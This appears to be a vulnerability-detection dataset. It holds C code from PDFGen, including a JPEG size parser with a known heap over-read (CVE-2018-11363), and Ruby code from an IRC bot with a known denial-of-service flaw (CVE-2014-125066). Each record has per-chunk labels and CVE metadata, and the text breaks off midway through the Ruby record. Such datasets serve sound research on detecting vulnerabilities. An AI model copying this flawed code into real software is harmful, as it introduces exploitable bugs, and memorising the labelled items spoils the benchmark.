{0x123122, '0'},\n {0x123221, '1'},\n {0x223211, '2'},\n {0x221132, '3'},\n {0x221231, '4'},\n {0x213212, '5'},\n {0x223112, '6'},\n {0x312131, '7'},\n {0x311222, '8'},\n {0x321122, '9'},\n {0x321221, ':'},\n {0x312212, ';'},\n {0x322112, '<'},\n {0x322211, '='},\n {0x212123, '>'},\n {0x212321, '?'},\n {0x232121, '@'},\n {0x111323, 'A'},\n {0x131123, 'B'},\n {0x131321, 'C'},\n {0x112313, 'D'},\n {0x132113, 'E'},\n {0x132311, 'F'},\n {0x211313, 'G'},\n {0x231113, 'H'},\n {0x231311, 'I'},\n {0x112133, 'J'},\n {0x112331, 'K'},\n {0x132131, 'L'},\n {0x113123, 'M'},\n {0x113321, 'N'},\n {0x133121, 'O'},\n {0x313121, 'P'},\n {0x211331, 'Q'},\n {0x231131, 'R'},\n {0x213113, 'S'},\n {0x213311, 'T'},\n {0x213131, 'U'},\n {0x311123, 'V'},\n {0x311321, 'W'},\n {0x331121, 'X'},\n {0x312113, 'Y'},\n {0x312311, 'Z'},\n {0x332111, '['},\n {0x314111, '\\\\'},\n {0x221411, ']'},\n {0x431111, '^'},\n {0x111224, '_'},\n {0x111422, '`'},\n {0x121124, 'a'},\n {0x121421, 'b'},\n {0x141122, 'c'},\n {0x141221, 'd'},\n {0x112214, 'e'},\n {0x112412, 'f'},\n {0x122114, 'g'},\n {0x122411, 'h'},\n {0x142112, 'i'},\n {0x142211, 'j'},\n {0x241211, 'k'},\n {0x221114, 'l'},\n {0x413111, 'm'},\n {0x241112, 'n'},\n {0x134111, 'o'},\n {0x111242, 'p'},\n {0x121142, 'q'},\n {0x121241, 'r'},\n {0x114212, 's'},\n {0x124112, 't'},\n {0x124211, 'u'},\n {0x411212, 'v'},\n {0x421112, 'w'},\n {0x421211, 'x'},\n {0x212141, 'y'},\n {0x214121, 'z'},\n {0x412121, '{'},\n {0x111143, '|'},\n {0x111341, '}'},\n {0x131141, '~'},\n {0x114113, '\\0'},\n {0x114311, '\\0'},\n {0x411113, '\\0'},\n {0x411311, '\\0'},\n {0x113141, '\\0'},\n {0x114131, '\\0'},\n {0x311141, '\\0'},\n {0x411131, '\\0'},\n {0x211412, '\\0'},\n {0x211214, '\\0'},\n {0x211232, '\\0'},\n {0x2331112, '\\0'},\n};", "static int find_128_encoding(char ch)\n{\n int i;\n for (i = 0; i < ARRAY_SIZE(code_128a_encoding); i++) {\n if (code_128a_encoding[i].ch == ch)\n return i;\n }\n return -1;\n}", "static int pdf_barcode_128a_ch(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int width, int height,\n uint32_t colour, int index, int code_len)\n{\n uint32_t code = code_128a_encoding[index].code;\n int i;\n int line_width = width / 11;", " for (i = 0; i < code_len; i++) {\n uint8_t shift = (code_len - 1 - i) * 4;\n uint8_t mask = (code >> shift) & 0xf;", " if (!(i % 2)) {\n int j;\n for (j = 0; j < mask; j++) {\n pdf_add_line(pdf, page, x, y, x, y + height, line_width, colour);\n x += line_width;\n }\n } else\n x += line_width * mask;\n }\n return x;\n}", "static int pdf_add_barcode_128a(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int width, int height,\n const char *string, uint32_t colour)\n{\n const char *s;\n int len = strlen(string) + 3;\n int char_width = width / len;\n int checksum, i;", " for (s = string; *s; s++)\n if (find_128_encoding(*s) < 0)\n return pdf_set_err(pdf, -EINVAL, \"Invalid barcode character 0x%x\", *s);", " x = pdf_barcode_128a_ch(pdf, page, x, y, char_width, height, colour, 104,\n 6);\n checksum = 104;", " for (i = 1, s = string; *s; s++, i++) {\n int index = find_128_encoding(*s);\n x = pdf_barcode_128a_ch(pdf, page, x, y, char_width, height, colour, index,\n 6);\n checksum += index * i;\n }\n x = pdf_barcode_128a_ch(pdf, page, x, y, char_width, height, colour,\n checksum % 103, 6);\n pdf_barcode_128a_ch(pdf, page, x, y, char_width, height, colour, 106,\n 7);\n return 0;\n}", "/* Code 39 character encoding. Each 4-bit value indicates:\n * 0 => wide bar\n * 1 => narrow bar\n * 2 => wide space\n */\nstatic const struct {\n uint32_t code;\n char ch;\n} code_39_encoding[] = {\n {0x012110, '1'},\n {0x102110, '2'},\n {0x002111, '3'},\n {0x112010, '4'},\n {0x012011, '5'},\n {0x102011, '6'},\n {0x112100, '7'},\n {0x012101, '8'},\n {0x102101, '9'},\n {0x112001, '0'},\n {0x011210, 'A'},\n {0x101210, 'B'},\n {0x001211, 'C'},\n {0x110210, 'D'},\n {0x010211, 'E'},\n {0x100211, 'F'},\n {0x111200, 'G'},\n {0x011201, 'H'},\n {0x101201, 'I'},\n {0x110201, 'J'},\n {0x011120, 'K'},\n {0x101120, 'L'},\n {0x001121, 'M'},\n {0x110120, 'N'},\n {0x010121, 'O'},\n {0x100121, 'P'},\n {0x111020, 'Q'},\n {0x011021, 'R'},\n {0x101021, 'S'},\n {0x110021, 'T'},\n {0x021110, 'U'},\n {0x120110, 'V'},\n {0x020111, 'W'},\n {0x121010, 'X'},\n {0x021011, 'Y'},\n {0x120011, 'Z'},\n {0x121100, '-'},\n {0x021101, '.'},\n {0x120101, ' '},\n {0x121001, '*'}, // 'stop' character\n};", "\nstatic int pdf_barcode_39_ch(struct pdf_doc *pdf, struct pdf_object *page, int x, int y, int char_width, int height, uint32_t colour, char ch)\n{\n int nw = char_width / 12;\n int ww = char_width / 4;\n int i;\n uint32_t code;", " if (nw <= 1 || ww <= 1)\n return pdf_set_err(pdf, -EINVAL, \"Insufficient width for each character\");", " for (i = 0; i < ARRAY_SIZE(code_39_encoding); i++) {\n if (code_39_encoding[i].ch == ch) {\n code = code_39_encoding[i].code;\n break;\n }\n }\n if (i == ARRAY_SIZE(code_39_encoding))\n return pdf_set_err(pdf, -EINVAL, \"Invalid Code 39 character %c 0x%x\", ch, ch);", "\n for (i = 5; i >= 0; i--) {\n int pattern = (code >> i * 4) & 0xf;\n if (pattern == 0) { // wide\n if (pdf_add_filled_rectangle(pdf, page, x, y, ww - 1, height, 0, colour) < 0)\n return pdf->errval;\n x += ww;\n }\n if (pattern == 1) { // narrow\n if (pdf_add_filled_rectangle(pdf, page, x, y, nw - 1, height, 0, colour) < 0)\n return pdf->errval;\n x += nw;\n }\n if (pattern == 2) { // space\n x += nw;\n }\n }\n return x;\n}", "static int pdf_add_barcode_39(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int width, int height,\n const char *string, uint32_t colour)\n{\n int len = strlen(string);\n int char_width = width / (len + 2);", " x = pdf_barcode_39_ch(pdf, page, x, y, char_width, height, colour, '*');\n if (x < 0)\n return x;", " while (string && *string) {\n x = pdf_barcode_39_ch(pdf, page, x, y, char_width, height, colour, *string);\n if (x < 0)\n return x;\n string++;\n };", " x = pdf_barcode_39_ch(pdf, page, x, y, char_width, height, colour, '*');\n if (x < 0)\n return x;", " return 0;\n}", "int pdf_add_barcode(struct pdf_doc *pdf, struct pdf_object *page,\n int code, int x, int y, int width, int height,\n const char *string, uint32_t colour)\n{\n if (!string || !*string)\n return 0;\n switch (code) {\n case PDF_BARCODE_128A:\n return pdf_add_barcode_128a(pdf, page, x, y,\n width, height, string, colour);\n case PDF_BARCODE_39:\n return pdf_add_barcode_39(pdf, page, x, y, width, height, string, colour);\n default:\n return pdf_set_err(pdf, -EINVAL, \"Invalid barcode code %d\", code);\n }\n}", "static pdf_object *pdf_add_raw_rgb24(struct pdf_doc *pdf,\n uint8_t *data, int width, int height)\n{\n struct pdf_object *obj;\n char line[1024];\n int len;\n uint8_t *final_data;\n const char *endstream = \">\\r\\nendstream\\r\\n\";\n int i;", " sprintf(line,\n \"<<\\r\\n/Type /XObject\\r\\n/Name /Image%d\\r\\n/Subtype /Image\\r\\n\"\n \"/ColorSpace /DeviceRGB\\r\\n/Height %d\\r\\n/Width %d\\r\\n\"\n \"/BitsPerComponent 8\\r\\n/Filter /ASCIIHexDecode\\r\\n\"\n \"/Length %d\\r\\n>>stream\\r\\n\",\n flexarray_size(&pdf->objects), height, width, width * height * 3 * 2 + 1);", " len = strlen(line) + width * height * 3 * 2 + strlen(endstream) + 1;\n final_data = malloc(len);\n if (!final_data) {\n pdf_set_err(pdf, -ENOMEM, \"Unable to allocate %d bytes memory for image\",\n len);\n return NULL;\n }\n strcpy((char *)final_data, line);\n uint8_t *pos = &final_data[strlen(line)];\n for (i = 0; i < width * height * 3; i++) {\n *pos++ = \"0123456789ABCDEF\"[(data[i] >> 4) & 0xf];\n *pos++ = \"0123456789ABCDEF\"[data[i] & 0xf];\n }\n strcpy((char *)pos, endstream);\n pos += strlen(endstream);", " obj = pdf_add_object(pdf, OBJ_image);\n if (!obj) {\n free(final_data);\n return NULL;\n }\n obj->stream.text = (char *)final_data;\n obj->stream.len = pos - final_data;", " return obj;\n}", "/* See http://www.64lines.com/jpeg-width-height for details */\nstatic int jpeg_size(unsigned char* data, unsigned int data_size,\n int *width, int *height)\n{\n int i = 0;\n if (i + 3 < data_size && data[i] == 0xFF && data[i+1] == 0xD8 &&\n data[i+2] == 0xFF && data[i+3] == 0xE0) {\n i += 4;\n if(i + 6 < data_size &&\n data[i+2] == 'J' && data[i+3] == 'F' && data[i+4] == 'I' &&\n data[i+5] == 'F' && data[i+6] == 0x00) {\n unsigned short block_length = data[i] * 256 + data[i+1];\n while(i<data_size) {\n i+=block_length;\n if((i + 1) >= data_size)\n return -1;\n if(data[i] != 0xFF)\n return -1;\n if(data[i+1] == 0xC0) {\n *height = data[i+5]*256 + data[i+6];\n *width = data[i+7]*256 + data[i+8];\n return 0;\n }\n i+=2;", " if (i + 1 < data_size)\n block_length = data[i] * 256 + data[i+1];", " }\n }\n }", " return -1;\n}", "static pdf_object *pdf_add_raw_jpeg(struct pdf_doc *pdf,\n const char *jpeg_file)\n{\n struct stat buf;\n off_t len;\n char *final_data;\n uint8_t *jpeg_data;\n int written = 0;\n FILE *fp;\n struct pdf_object *obj;\n int width, height;", " if (stat(jpeg_file, &buf) < 0) {\n pdf_set_err(pdf, -errno, \"Unable to access %s: %s\", jpeg_file,\n strerror(errno));\n return NULL;\n }", " len = buf.st_size;", " if ((fp = fopen(jpeg_file, \"rb\")) == NULL) {\n pdf_set_err(pdf, -errno, \"Unable to open %s: %s\", jpeg_file,\n strerror(errno));\n return NULL;\n }", " jpeg_data = malloc(len);\n if (!jpeg_data) {\n pdf_set_err(pdf, -errno, \"Unable to allocate: %zd\", len);\n fclose(fp);\n return NULL;\n }", " if (fread(jpeg_data, len, 1, fp) != 1) {\n pdf_set_err(pdf, -errno, \"Unable to read full jpeg data\");\n free(jpeg_data);\n fclose(fp);\n return NULL;\n }\n fclose(fp);", " if (jpeg_size(jpeg_data, len, &width, &height) < 0) {\n free(jpeg_data);\n pdf_set_err(pdf, -EINVAL, \"Unable to determine jpeg width/height from %s\",\n jpeg_file);\n return NULL;\n }", " final_data = malloc(len + 1024);\n if (!final_data) {\n pdf_set_err(pdf, -errno, \"Unable to allocate jpeg data %zd\", len + 1024);\n free(jpeg_data);\n return NULL;\n }", " written = sprintf(final_data,\n \"<<\\r\\n/Type /XObject\\r\\n/Name /Image%d\\r\\n\"\n \"/Subtype /Image\\r\\n/ColorSpace /DeviceRGB\\r\\n\"\n \"/Width %d\\r\\n/Height %d\\r\\n\"\n \"/BitsPerComponent 8\\r\\n/Filter /DCTDecode\\r\\n\"\n \"/Length %d\\r\\n>>stream\\r\\n\",\n flexarray_size(&pdf->objects), width, height, (int)len);\n memcpy(&final_data[written], jpeg_data, len);\n written += len;\n written += sprintf(&final_data[written], \"\\r\\nendstream\\r\\n\");", " free(jpeg_data);", " obj = pdf_add_object(pdf, OBJ_image);\n if (!obj) {\n free(final_data);\n return NULL;\n }\n obj->stream.text = final_data;\n obj->stream.len = written;", " return obj;\n}", "static int pdf_add_image(struct pdf_doc *pdf, struct pdf_object *page,\n struct pdf_object *image, int x, int y, int width,\n int height)\n{\n int ret;\n struct dstr str = {0, 0, 0};", " dstr_append(&str, \"q \");\n dstr_printf(&str, \"%d 0 0 %d %d %d cm \", width, height, x, y);\n dstr_printf(&str, \"/Image%d Do \", image->index);\n dstr_append(&str, \"Q\");", " ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);\n return ret;\n}", "int pdf_add_ppm(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int display_width, int display_height,\n const char *ppm_file)\n{\n struct pdf_object *obj;\n uint8_t *data;\n FILE *fp;\n char line[1024];\n unsigned width, height, size;", " /* Load the PPM file */\n fp = fopen(ppm_file, \"rb\");\n if (!fp)\n return pdf_set_err(pdf, -errno, \"Unable to open '%s'\", ppm_file);\n if (!fgets(line, sizeof(line) - 1, fp)) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Invalid PPM file\");\n }", " /* We only support binary ppms */\n if (strncmp(line, \"P6\", 2) != 0) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Only binary PPM files supported\");\n }", " /* Find the width line */\n do {\n if (!fgets(line, sizeof(line) - 1, fp)) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Unable to find PPM size\");\n }\n if (line[0] == '#')\n continue;", " if (sscanf(line, \"%u %u\\n\", &width, &height) != 2) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Unable to find PPM size\");\n }\n break;\n } while (1);", " /* Skip over the byte-size line */\n if (!fgets(line, sizeof(line) - 1, fp)) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"No byte-size line in PPM file\");\n }", " if (width > INT_MAX || height > INT_MAX) {\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Invalid width/height in PPM file: %ux%u\", width, height);\n }", " size = width * height * 3;\n data = malloc(size);\n if (!data) {\n fclose(fp);\n return pdf_set_err(pdf, -ENOMEM, \"Unable to allocate memory for RGB data\");\n }\n if (fread(data, 1, size, fp) != size) {\n free(data);\n fclose(fp);\n return pdf_set_err(pdf, -EINVAL, \"Insufficient RGB data available\");", " }\n fclose(fp);\n obj = pdf_add_raw_rgb24(pdf, data, width, height);\n free(data);\n if (!obj)\n return pdf->errval;", " return pdf_add_image(pdf, page, obj, x, y, display_width, display_height);\n}", "int pdf_add_jpeg(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int display_width, int display_height,\n const char *jpeg_file)\n{\n struct pdf_object *obj;", " obj = pdf_add_raw_jpeg(pdf, jpeg_file);\n if (!obj)\n return pdf->errval;", " return pdf_add_image(pdf, page, obj, x, y, display_width, display_height);\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [2040], "buggy_code_start_loc": [2039], "filenames": ["pdfgen.c"], "fixing_code_end_loc": [2041], "fixing_code_start_loc": [2039], "message": "jpeg_size in pdfgen.c in PDFGen before 2018-04-09 has a heap-based buffer over-read.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:pdfgen:pdfgen:*:*:*:*:*:*:*:*", "matchCriteriaId": "9FEC7B81-30B3-405F-AFD9-F54965FF173A", "versionEndExcluding": "2018-04-09", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "jpeg_size in pdfgen.c in PDFGen before 2018-04-09 has a heap-based buffer over-read."}, {"lang": "es", "value": "jpeg_size en pdfgen.c en PDFGen, en versiones anteriores al 2018-04-09, tiene una sobrelectura de b\u00fafer basada en memoria din\u00e1mica (heap)."}], "evaluatorComment": null, "id": "CVE-2018-11363", "lastModified": "2019-10-03T00:03:26.223", "metrics": {"cvssMetricV2": [{"acInsufInfo": true, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.0, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.0"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2018-05-22T04:29:00.217", "references": [{"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/AndreRenaud/PDFGen/commit/ee58aff6918b8bbc3be29b9e3089485ea46ff956"}, {"source": "cve@mitre.org", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/ChijinZ/security_advisories/tree/master/PDFgen-206ef1b"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-125"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/AndreRenaud/PDFGen/commit/ee58aff6918b8bbc3be29b9e3089485ea46ff956"}, "type": "CWE-125"}
147
Determine whether the {function_name} code is vulnerable or not.
[ "#!/usr/bin/env ruby\n# Oui le code est dégueux... Et alors ?!\nrequire 'irc-socket'\nrequire 'myanimelist'\nrequire 'htmlentities'\nrequire 'io/console'\nrequire 'link_thumbnailer'", "$:.unshift File.dirname(__FILE__)\nrequire 'lib/yuko'\nrequire 'lib/myanimelist-x'\nrequire 'lib/message'", "def init(_)\n load 'config.rb'", " Yuko.conf.prompt_mal_config unless Yuko.conf.mal_configured?", " begin\n Yuko.conf.check\n rescue Yuko::ConfError => e\n e.messages.each {|err| STDERR.puts \"Errors: config.rb: #{err}\"}\n exit\n end", "\n MyAnimeList.configure do |config|\n config.username = Yuko.conf.mal.username\n config.password = Yuko.conf.mal.password\n end", " begin\n MyAnimeList.verify_credentials\n rescue RestClient::Unauthorized => e\n puts 'Error: Incorrect login or password (mal)'\n exit\n end", " LinkThumbnailer.configure do |config|\n config.attributes = [:title]\n end\nend", "def run!\n irc = IRCSocket.new(Yuko.conf.irc.server, Yuko.conf.irc.port, Yuko.conf.irc.ssl)\n irc.connect", " if irc.connected?\n irc.nick Yuko.conf.irc.nickname\n irc.user 'Yuko', 0, '*', 'I am a bot.'", " while line = irc.read\n message = Message.new(line)\n puts \"Received: #{message.raw}\"\n process(irc, message)\n end\n end\nend", "def process(irc, message)\n handle_end_of_motd(irc) if message.is_end_of_motd?\n handle_ping(irc, message) if message.is_ping?\n handle_privmsg(irc, message) if message.is_privmsg?\nend", "def handle_end_of_motd(irc)\n irc.join Yuko.conf.irc.channel\n irc.privmsg Yuko.conf.irc.channel, Yuko.conf.irc.greeting unless Yuko.conf.irc.greeting.nil?\nend", "def handle_ping(irc, message)\n irc.pong message.params[0]\nend", "def handle_privmsg(irc, message)\n request = message.trailing.match /^!(?<name>\\S+)(\\s+(?<params>.*))?$/\n urls = message.trailing.scan /https?:\\/\\/\\S+/", " handle_privmsg_request(irc, message, request) if request\n handle_privmsg_urls(irc, message, urls) if urls.any?\nend", "def handle_privmsg_request(irc, message, request)\n request = Hash[request.names.map(&:to_sym).zip(request.captures)]\n request[:name].downcase!", " if (request[:name] == 'anime' || request[:name] == 'manga') && !request[:params].nil?\n search_type = request[:name]\n results = MyAnimeList.send \"search_#{search_type}\".to_sym, request[:params]", " if results.any?\n irc.privmsg message.channel, \"Résultats pour \\\"#{request[:params]}\\\"\"", " results.sort! {|entry1, entry2| entry2['score'].to_f <=> entry1['score'].to_f }\n results.take(5).each do |entry|\n title = HTMLEntities.new.decode entry['title']\n url = \"http://myanimelist.net/#{search_type}/#{entry['id']}\"\n irc.privmsg message.channel, \"#{title} →\\x032 #{url}\"\n end\n else\n search = HTMLEntities.new.decode request[:params]\n irc.privmsg message.channel, \"Aww~ la recherche pour \\\"#{search}\\\" n'a rien donné é_è\"\n end\n end", " if request[:name] == 'titof' || request[:name] == '(21)'\n irc.privmsg message.channel, \"http://nyu.moe/loliwaytolive.html\"\n end", " if request[:name] == 'holo' || request[:name] == \"shingekinoslg\"\n irc.privmsg message.channel, \"https://www.listenonrepeat.com/?v=8PN7kNWV06w\"\n end", " if request[:name] == 'paraze' || request[:name] == \"moe\"\n irc.privmsg message.channel, \"http://listenonrepeat.com/?v=wvvScxzxyLw\"\n end", " if request[:name] == 'dudurenchon'\n irc.privmsg message.channel, \"http://image.noelshack.com/fichiers/2014/44/1414522583-dudurenchon.png\"\n end", " if request[:name] == 'praisememore'\n irc.privmsg message.channel, \"https://i.imgur.com/f3WLqUw.jpg\"\n end", " if request[:name] == 'internet'", " irc.privmsg message.channel, \"http://www.internetshouldbeillegal.com/\" \t", " end\nend", "def handle_privmsg_urls(irc, message, urls)\n urls.take(3).each do |url|\n begin\n object = LinkThumbnailer.generate url", " irc.privmsg message.channel, object.title if object.title && object.title.size > 0", " rescue StandardError\n end\n end\nend", "init Yuko and run! # yeah ruuuuuuuun!" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [136, 9], "buggy_code_start_loc": [127, 8], "filenames": ["Yuko", "config.rb"], "fixing_code_end_loc": [136, 9], "fixing_code_start_loc": [127, 8], "message": "A vulnerability was found in emmflo yuko-bot. It has been declared as problematic. This vulnerability affects unknown code. The manipulation of the argument title leads to denial of service. The attack can be initiated remotely. The name of the patch is e580584b877934a4298d4dd0c497c79e579380d0. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217636.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:yuko-bot_project:yuko-bot:*:*:*:*:*:*:*:*", "matchCriteriaId": "EF83D705-C236-49B9-B87A-83F12CD843EF", "versionEndExcluding": "11-13-2014", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability was found in emmflo yuko-bot. It has been declared as problematic. This vulnerability affects unknown code. The manipulation of the argument title leads to denial of service. The attack can be initiated remotely. The name of the patch is e580584b877934a4298d4dd0c497c79e579380d0. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217636."}], "evaluatorComment": null, "id": "CVE-2014-125066", "lastModified": "2023-01-12T17:26:37.633", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 4.0, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 4.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2023-01-08T09:15:10.273", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/emmflo/yuko-bot/commit/e580584b877934a4298d4dd0c497c79e579380d0"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?ctiid.217636"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?id.217636"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-404"}], "source": "cna@vuldb.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/emmflo/yuko-bot/commit/e580584b877934a4298d4dd0c497c79e579380d0"}, "type": "CWE-404"}
148
Determine whether the {function_name} code is vulnerable or not.
[ "#!/usr/bin/env ruby\n# Oui le code est dégueux... Et alors ?!\nrequire 'irc-socket'\nrequire 'myanimelist'\nrequire 'htmlentities'\nrequire 'io/console'\nrequire 'link_thumbnailer'", "$:.unshift File.dirname(__FILE__)\nrequire 'lib/yuko'\nrequire 'lib/myanimelist-x'\nrequire 'lib/message'", "def init(_)\n load 'config.rb'", " Yuko.conf.prompt_mal_config unless Yuko.conf.mal_configured?", " begin\n Yuko.conf.check\n rescue Yuko::ConfError => e\n e.messages.each {|err| STDERR.puts \"Errors: config.rb: #{err}\"}\n exit\n end", "\n MyAnimeList.configure do |config|\n config.username = Yuko.conf.mal.username\n config.password = Yuko.conf.mal.password\n end", " begin\n MyAnimeList.verify_credentials\n rescue RestClient::Unauthorized => e\n puts 'Error: Incorrect login or password (mal)'\n exit\n end", " LinkThumbnailer.configure do |config|\n config.attributes = [:title]\n end\nend", "def run!\n irc = IRCSocket.new(Yuko.conf.irc.server, Yuko.conf.irc.port, Yuko.conf.irc.ssl)\n irc.connect", " if irc.connected?\n irc.nick Yuko.conf.irc.nickname\n irc.user 'Yuko', 0, '*', 'I am a bot.'", " while line = irc.read\n message = Message.new(line)\n puts \"Received: #{message.raw}\"\n process(irc, message)\n end\n end\nend", "def process(irc, message)\n handle_end_of_motd(irc) if message.is_end_of_motd?\n handle_ping(irc, message) if message.is_ping?\n handle_privmsg(irc, message) if message.is_privmsg?\nend", "def handle_end_of_motd(irc)\n irc.join Yuko.conf.irc.channel\n irc.privmsg Yuko.conf.irc.channel, Yuko.conf.irc.greeting unless Yuko.conf.irc.greeting.nil?\nend", "def handle_ping(irc, message)\n irc.pong message.params[0]\nend", "def handle_privmsg(irc, message)\n request = message.trailing.match /^!(?<name>\\S+)(\\s+(?<params>.*))?$/\n urls = message.trailing.scan /https?:\\/\\/\\S+/", " handle_privmsg_request(irc, message, request) if request\n handle_privmsg_urls(irc, message, urls) if urls.any?\nend", "def handle_privmsg_request(irc, message, request)\n request = Hash[request.names.map(&:to_sym).zip(request.captures)]\n request[:name].downcase!", " if (request[:name] == 'anime' || request[:name] == 'manga') && !request[:params].nil?\n search_type = request[:name]\n results = MyAnimeList.send \"search_#{search_type}\".to_sym, request[:params]", " if results.any?\n irc.privmsg message.channel, \"Résultats pour \\\"#{request[:params]}\\\"\"", " results.sort! {|entry1, entry2| entry2['score'].to_f <=> entry1['score'].to_f }\n results.take(5).each do |entry|\n title = HTMLEntities.new.decode entry['title']\n url = \"http://myanimelist.net/#{search_type}/#{entry['id']}\"\n irc.privmsg message.channel, \"#{title} →\\x032 #{url}\"\n end\n else\n search = HTMLEntities.new.decode request[:params]\n irc.privmsg message.channel, \"Aww~ la recherche pour \\\"#{search}\\\" n'a rien donné é_è\"\n end\n end", " if request[:name] == 'titof' || request[:name] == 